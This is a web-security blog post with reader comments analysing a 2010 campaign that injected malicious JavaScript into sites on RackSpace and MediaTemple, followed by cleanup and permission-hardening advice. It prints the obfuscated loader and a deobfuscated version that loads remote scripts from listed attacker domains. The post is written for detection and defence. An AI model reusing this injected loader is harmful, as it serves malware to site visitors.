Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
Loading site search ...

Malicious “ads” and “bars” on RackSpace & MediaTemple

   08 Aug 10   Filed in Website exploits

Right before this week-end I noticed an increased number of sites hosted on MediaTemple and RackSpace coming to Unmask Parasites with the same problem — their sites are blocked by Google and their diagnostic pages mention the following five domains: “myads .name“, “adsnet .biz“, “toolbarcom .org“, “mybar .us“, “freead .name“.

For this particular attack, Unmask Parasites is not the most effective detection tool since it doesn’t check external .js files. And in this case hackers inject their malicious scripts into stand-alone JavaScript files and rarely directly into web pages (the latter case is detected, of course).

The malicious script we are talking about is this:

var st1 = 0;this.b=this.M="";this.A="";this.w=false;this.N=""; (function(c){this.m=false;this.J="";this.G=this.e=this.l=false;var g=window;this.i="";var d=g["unescap"+unescape("%65")],h=String["f"+unescape("%72%6f%6d%43%68%61%72%43%6f%64%65")];this.C="qO";this.B="oB";var a=new String("");this.I="sW";var e=new String("%");this.d="";...skipped...g["e"+unescape("%76%61%6c")](d);this.t=this.K=false;return d})("9e899ac889d59f8...skipped...1989cd6cfc195d3"); this.n=3279;this.O=58441;var gr0=0;

It is usually injected at the very top of random .js files. Note, hackers don’t add a new line of code to your .js files — they prepend this script t0 existing code on the first line. Everything after “this.O=58441;var gr0=0;” is your legitimate code — be careful when removing the malicious scripts.

In rare cases of infected web pages, this very script is injected either right after the <body> tag or right before the </html> tag. In either case it is enclosed in <ads></ads> tags.

This is a deobfuscated version of the script:

var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion;
if (document.cookie.indexOf("holycookie")==-1 && !a.toLowerCase().match(b) && c.toLowerCase().indexOf("win")!=-1){
var d = ["myads .name","adsnet .biz","toolbarcom .org","mybar .us","freead .name"],
e = ["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.","lox.","lux.","max.","mix.","nix.","oxo.","oxy.","pax.","pix.","pox.","pyx.","rax.","rex.","sax.","sex.","six.","sox.","tax.","tux.","vex.","vox.","wax.","xis.","zax."],
f = Math.floor(Math.random()*d.length),
g = Math.floor(Math.random()*e.length);
dt = new Date;dt.setTime(dt.getTime()+9072E4);
document.wr ite('<scr ipt type="text/javascript" src="http://'+e[g]+d[f]+'/system/caption.js"><\/scr ipt>')

This script checks whether a visitor should be attacked (first time visitor on a Windows computer, not a search engine bot) and injects another script that loads content from a server controlled by cyber-criminals. To construct the address of that remote script, hackers use random items from the list of 5 second level domains: myads .name“, “adsnet .biz“, “toolbarcom .org“, “mybar .us“, “freead .name and the list of 36 prefixes (third level domains). This way we have 180 different full domain combinations (e.g. hex .freead .name or lax .toolbarcom .org etc.) that point to the save servers on C I Host network.

Predecessors of this attack

Two month ago I wrote about an attack that affected many WordPress blogs on RackSpace — now we have a next round of the same attack. Check how they both use lists of 5 second level domains hosted on C I Host along with long lists of third level domains to construct addresses of malicious remote sites.

There had also been an attack with a similar script on MediaTemple. It used the following four second level domains: [‘edisonsnightclub .com‘,’emapis .org‘,’ideacoreportal .com‘,’karenegren .com‘]

It’s clear that the same gang successfully attacks sites on RackSpace and MediaTemple again and again.

Prevalence estimates

At this point Google reports 3,000+ infected domains where the above five “ads” and “bars” sites are mentioned as an infection source. In my experience, this number in underestimated. Google only scans 10-20% of sites . When I checked sites on one affected IP address, I managed to find twice as much infected sites as Google. This mean that the real number of infected sites can be more than 6,000.

Mysterious security hole

At this point it is not clear how this attack works and what security hole is exploited. Although RackSpace & MediaTemple don’t acknowledge any security hole in their infrastructure, I still think that they might overlook certain weak point in their systems.

Let’s think logically. We have a series of attacks that mainly affect either MediaTemple or RackSpace or both hosting providers.

I doubt this could be a case of FTP credentials stolen from webmasters’ computers — I can hardly imagine malware that only affects clients of particular hosting providers.

And it cannot be a regular vulnerability in some third-party application, otherwise why would hackers limit their victims to sites hosted on RackSpace and MediaTemple? It would be much more efficient to target all vulnerable sites regardless of their location. Moreover, many affected sites are using the most recent, presumably secure versions of WordPress and Joomla.

It’s definitely some obscure inherent vulnerability. Security engineers of the both hosting providers have been investigating these issues for several months now but cannot either tell us how exactly hackers break into websites of their clients nor can they prevent subsequent massive hacks. They have all the logs and tools, but cannot trace the hackers. To my mind, this means that they don’t totally understand the nature of the attacks. They just do their usual rounds of security checks and system hardening procedures, but don’t properly address less known attack vectors.

But I hope it’s only a matter of time before these two (otherwise great) hosting providers finally figure out the whole scheme and will be able to properly protect they clients against such hacks.

Some brainstorming

As an external observer, I don’t have access to all the data required to investigate such attacks. I can only analyze publicly available information. At this point I can see that all affected sites use PHP applications that work with mySql (WordPress and Joomla). So could this be done via mySql? If someone has access to client’s databases, they can do a lot of things – create new admin users, inject malicious code into table (we saw it during the previous attack), use new application users to modify files on server using built-in theme/template editors, etc.

MediaTemple thinks this can be done using database passwords stolen from non-secure customer-installed software:

For the most recent customer attacks, we have found the most common way of gaining access is through non-secure customer-installed software. Vulnerable customer software (blogs, CMS, PHP apps) give attackers access to view and steal database passwords from application configuration files, illicitly inject code, and create backdoor access to user applications.

This may mean world-readable wp-config.php (WordPress) and configuration.php (Joomla) files. Ok. If you (MT & RS) know this, why not scan user accounts for world-readable wp-config.php and configuration.php files and notify users about this security hole, and recommend them to change database passwords and chmod the config files to 600? This proactive step could prevent last week’s massive hacks (of course, if you are right about the vector). However, this hasn’t been done yet (I just helped one webmaster recover his site from this hack and his wp-config.php was 644 and he thought it was perfectly fine).

One more thought. If someone steals admin credentials from user’s mySql database, he can use them to grant all required permissions to some rogue mySql user. In this scenario, when the legitimate user discovers the hack and changes mySql password, the hacker will still be able to modify that database using his own mySql account. So users of compromised sites should also check who has access to their databases (do they have enough permissions on shared servers to select from system tables?) Note, my knowledge of mySql is limited so these are just thoughts aloud. If you notice flaws here, please correct me in comments.

To webmasters

Since there is no reliable information about how this attack works and what webmaster can do to prevent hack, you should harden your sites as much as you can and hope one way or anther the security hole wil be closed.

MediaTemple and RackSpace provided very useful general sucurity resources that you should peruse and follow instructions found there:

Securing static content

In this attack. hackers modify stand-alone .js files. Such files are considered static content since web applications don’t need to modify them. Once they are uploaded they should remain intact.

So here is the idea. Most people leave write permissions to owner for all files. This way, owners can modify their own files whenever they need to. So far so good. Unfortunately, all web applications (think PHP scripts) have the same write permissions when web servers use suEXEC or suPHP (this is common practice on shared servers). This means, that if web applications on your site have security holes or hackers managed to gain access to your WordPress or Joomla, it is possible for strangers to modify files on your server.

So why not revoke all write permissions for files that shouldn’t be modified? Just go and change permissions of your static content to 444. You can go a step further, and change permissions of all files that shouldn’t be modified by your web application to 400 (in case of scripts) and 500 or 555 (in case directories).

Of course this solution has its downsides

  • you’ll need to change permissions when you need to modify files – it’s not a problem when you modify just one file.
  • hackers can also change file permissions if they inject some php code into your scripts (say, via database or via remote script inclusion). However, only very sophisticated attack will do it (I can’t recall seeing malicious php scripts that tried to change file permissions).

So this way you can make your site a bit securer at expense of some added complexity.

P.S. And make sure that your WordPress wp-config.php or your Joomla configuration.php files are not word-readable. Their permission should be either 600 or even 400.

Have your say

Did I miss anything? I can only see those scripts from outside. There could be some less prominent internal changes. I’d like to gather all available information about this attack so that we can come up with working detection, clean up and prevention instructions.

Please share your thoughts and experience here. Please provide information about permission and modification dates of affected files, of configuration files (e.g. wp-config.php or configuration.php). Maybe you noticed something suspicious in access logs or in your database? Any information is welcome.

Related posts:

Reader's Comments (21)

  1. |

    This post helped me find the obfuscated script in my WordPress installation. It was hidden in my theme footer.php file. I am also hosted on MT. They were not at all helpful and were very defensive. The file permissions on footer.php was 644. The modification date was not even altered – it matched the same date as the other theme files.

    Thanks again for this informative post.

    • |

      Thanks for sharing this information.

      I suggest that you change permissions of theme’s .php files to 400. This should prevent some hacks (at least they won’t be editable from WordPress’ internal theme editor by rogue WP users).

      Byt the way, what were your wp-config.php permissions?

  2. |

    […] This post was mentioned on Twitter by John Talaguit and Howard Fuhs, Open Foundstone. Open Foundstone said: Malicious “ads” and “bars” on RackSpace & MediaTemple: Right before this week-end I noticed an increased number of… […]

  3. |

    I have had this affect a php site that had no database of any kind. Just straight includes. They dropped the code into a .inc file.

    • |

      Thanks Nathan,

      What were permissions of those .inc files?
      Do you have any other sites under the same account?

      • |

        Yeah, many WordPress accounts are also under this account. Permissions on the file in question is 644

      • |

        I meant WordPress sites.

        • |


          I noticed that static parts of website can be affected if there is a database-driven application (e.g WordPress or Joomla) under the same account.

          Should be also true for static sites under the same account as database-driven sites.

  4. |

    Kudos on this article!
    Nice summary and mirrors my experience as well.

    Though at least in my experience I’m not so sure about the stolen mysql credentials. That does not mirror my experience.

    All of the sites I repaired for clients recently were fairly obvious WordPress hacks, where hacker was able to upload a file-manager-like PHP script, then from there do whatever they wished to any file within the client’s file space.

    I do squarely point the finger at WordPress and plugin security though– and not the web host.

    Though here is the big caveat.
    Many web hosts are promoting multi-account open file structure type hosting.
    Media Temple cloud, Rackspace cloud and some shared hosts like Hostgator and Bluehost have been promoting this thing call “unlimited domains hosting” for some time, in hopes of grabbing clients from more secure and segregated hosting arrangements.
    note: In cPanel this is sometimes referred to as an “Addon domain.”

    People are basically trading cheap or slightly easier multi-domain hosting for security in this arrangement; by setting up all of their websites within the same file space (a very short sighted setup IMHO).

    This is really very alarming, particularly give the open non-proprietary nature of WordPress and Joomla, where plugins and components are so easy to install, and script security is virtually non-existent (at least in a standardized sense).

    I’ll use Media Template as an example, though this same scenario may apply to any of the open file structure hosts mentioned above. With a Media Template account you may set up all of your websites under the same “cloud” account. The control panel makes this easy enough to set up… So client moves all his 20 websites over to the the new “cloud” account, sets up his WordPress blogs nicely and wanders off to do business in the real world.

    Mr. Hacker comes along, finds a tasty wordpress blog with an obviously exploitable plugin, and uploads his “single” file manager script (r57, c99 or other commonly available shell scripts). He now owns all of client’s 20 websites and proceeds to demonstrate “ownage” with less than five minutes effort.

    I had this same situation occur, where client had 20 websites set up with the same file space. When I saw this I basically freaked– and made it very clear how unsecure this arrangement actually can be. I quickly demonstrated this for client over the phone by appending a word to every one of his index pages for every one of his web sites using a single command (that was an eye-opener for client to say the least).

    Effectively client traded ease of setup for security.
    And as a result, ONE of his websites was hacked. Hacker then ran one command, simultaneously appending the …hack.. text to the index.html file of all of client’s 20 websites sharing the same file space.

    Hopefully, folks will being to understand soon how very naive this particular hosting setup can be…

    As for changing WordPress wp-config.php or Joomla configuration.php file permissions to 600 or even 400. You might be onto something here, though I have to wonder whether it’s worth the effort since in the majority of hacks I’ve seen the actual process used was either through FTP (stolen password), or the uploading of file manager (root shell) scripts through exploitable plugins or older WP installations.

    I invite your comments as well.

    Jim Walker
    The Hackrepair Guy

    • |

      Thanks for the comment, Jim!

      I also suspect that hackers could use a web shell for these hacks. The question is how they manages to upload it to so many user accounts.

      I doubt it was via FTP (I wrote about it in the article).

      I doubt it’s a WordPress vulnerability (also in the article). If the latest version of WP is vulnerable why only target blogs on MT & RS?

      I see a few scenarios (I don’t have proofs though):
      1. World-writable directories: e.g. /tmp (via file inclusion) or “wp-content/uploads” (some people make it world-writeable). However, since MT & RS don’t require 777 permissions for file uploads, I don’t think many webmasters would specifically change the permission.
      2. Access to database -> access to a web app -> access to file system.

      I hope to gather more evidence to make more well-founded conclusions.

  5. |

    There appears to be some association with the potential hacking of TinyMCE, but I’m not an expert on WP so can’t comment on this.

    I did find a number of hacks in directories associated with TinyMCE, enough for it to stick in my mind.

    Joomla and WordPress have this in common (coincidental to rise in both applications being hacked this year I don’t know).

    Single link I found on topic (albeit ancient):

  6. |

    When I checked the wp-config file on all my blogs which were installed using the 1-click install feature on Mediatemple, they were all 644.

    Can this lead to an exploit?

  7. |

    Also a copy of the wp-config file was made in all instances wiht a filename like wp-config.php.xxxx

    • |

      This could have been made by MediaTemple when they tried to recover your site by themselves. You should ask them about this .xxxx file.

      By the way, it is a verbatim copy of that file or there are some differences?

  8. |

    This looks *extremely* bad for MediaTemple. Access via FTP? It sure looks like a case of stolen username/password information.

    And MT has hardly come forth with any substantial apology (or information) other than basic “How to set your file permissions” info.

    This strikes me as totally disingenuous. The gridserver was hacked. Period.

    Either that or there is a major hole in WP 3.01, but that seems highly unlikely because only MT seems to be getting hacked.

  9. |

    Very unusual. We got two type of attacks in our over 12 websites hosted on a (gs) on Media Temple. The attack referred on this post, managed its way on drupal sites, wordpress sites, but also plain static content html and flash (it was common to find the code on top of the AC_RunActiveContent.js file used for flash content). Rare thing, an undocumented attack was also found. The hacker was able to CREATE four letter php files (faro.php, oryx.php, vuln.php, to site a few) on every domain on random folders. Even domain folders that were empty (placeholders). This just makes me think as the hacker had an FTP account! Worst of all, even though all was cleaned (not without a couple of blacklists) it just seems we must sit and wait for the next attack!

    • |

      I too have seen the same variety of attacks that you listed across 8+ sites that are all hosted on my MT (gs) account.

      Most of these sites have static content. Only 2 of them actually have WordPress running, and both had code in their footer.php files as well as code injected between heading tags in posts on their homepages. The method of injecting the malicious code seems to change every time.

      Today I just got notice from Google that a site that only has an index.html file is compromised.

      After I first discovered that my sites were being compromised, I changed every password on my account (account center, server admin, every ftp / email password, database passwords) because I believed that one of my computers had been infected with a trojan (a support page that MT posted about a month ago led me to believe this). I feel that effort was completely wasted, as my sites are being hacked every couple of days/weeks no matter what measures I’ve put in place.

      I’ve also seen MT putting up clean copies of compromised js files with .xxx appended to the ends of the filenames. They’ve also added themselves as site owners of my hacked sites through Google Webmaster tools, so they’re getting the malware notices about these sites at the same time I am.

      Because I don’t have time to keep dealing with these same issues, I’m moving all of my sites away from MT. I’ve been a customer for almost 4 years and the lack of communication, information and resolution to this problem is bizarre to me.

  10. |

    I help run a quite large, and busy website, hosted on Rackspace Cloudsites. I’ve gotten proof (with a partial FTP xferlog) in the last 24 hours that problems on our site are being caused by someone FTPing into our file-space, downloading a number of files (the same ones on a regular basis) and then within 1 second of each downloaded file, uploading larger versions of them. PHP files, including index.php have an “eval(base64())” based script prefixing the regular content, .html files get a script tag.

    After previous, similar issues, we’d already changed our password to a generated/randomised one. We are changing it again.

  11. |

    […] Here is one security site where they seem to be thinking in the same direction, and this was in response to last month’s hacks! […]

  12. |

    Mediatemple wordpress sites hacked again.

    Actions include
    Uploaded a PE* php file into the root directory
    Changes to .htaccess files to redirect to the added php file
    Changes to several other files including image files.

    I suspect TinyMCE has been compromised on these installs. The attacks always happen after logging into word press.

    Mediatemple are pretty quick fixing the symptoms but not the cause.

    Sample File Monitor output



    Another site


  13. |

    […] This post was mentioned on Twitter by Denis, The Doctor. The Doctor said: RT @unmaskparasites: Some info about hacked sites with PE*.php files in root dirsectories: & […]